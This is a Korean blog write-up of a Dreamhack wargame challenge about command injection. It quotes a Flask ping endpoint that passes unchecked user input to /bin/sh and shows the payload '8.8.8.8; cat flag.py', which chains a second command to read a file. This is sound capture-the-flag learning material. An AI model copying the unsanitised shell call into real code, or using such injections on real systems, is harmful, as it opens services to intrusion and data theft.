반응형
문제설명
특정 Host에 ping 패킷을 보내는 서비스입니다.
Command Injection을 통해 플래그를 획득하세요. 플래그는 flag.py에 있습니다.
chatGPT와 함께 풀어보세요!
코드 분석
@APP.route('/ping', methods=['GET', 'POST'])
def ping():
if request.method == 'POST':
host = request.form.get('host')
cmd = f'ping -c 3 {host}'
try:
output = subprocess.check_output(['/bin/sh', '-c', cmd], timeout=5)
return render_template('ping_result.html', data=output.decode('utf-8'))
except subprocess.TimeoutExpired:
return render_template('ping_result.html', data='Timeout !')
except subprocess.CalledProcessError:
return render_template('ping_result.html', data=f'an error occurred while executing the command. -> {cmd}')
return render_template('ping.html')
- host를 입력받고 입력받음
- cmd는 입력받은 호스트가 ping -c 3 뒤에 그대로 붙임
- 밑에는 에러처리
취약점 분석
- 핑을 입력받는 곳에 사용자 입력에 대한 검증이 없음
- 입력받은 게 그대로 cmd에 들어감
익스플로잇
먼저 8.8.8.8 을 입력해 봄

다음과 같이 출력된 것을 볼 수 있음
8.8.8.8; cat flag.py
다음과 같이 입력해 주면
cmd = ping -c 3 8.8.8.8; cat flag.py
로 총 2개의 명령어가 실행이 됨

반응형
'Dreamhack 워게임 > Lv.1' 카테고리의 다른 글
| baby-union (0) | 2026.02.08 |
|---|---|
| amocafe (0) | 2026.02.08 |
| Apache htaccess (0) | 2026.02.08 |
| File Vunleravility Advanced for Linux (0) | 2026.02.07 |
| sql injection bypass WAF (0) | 2026.02.06 |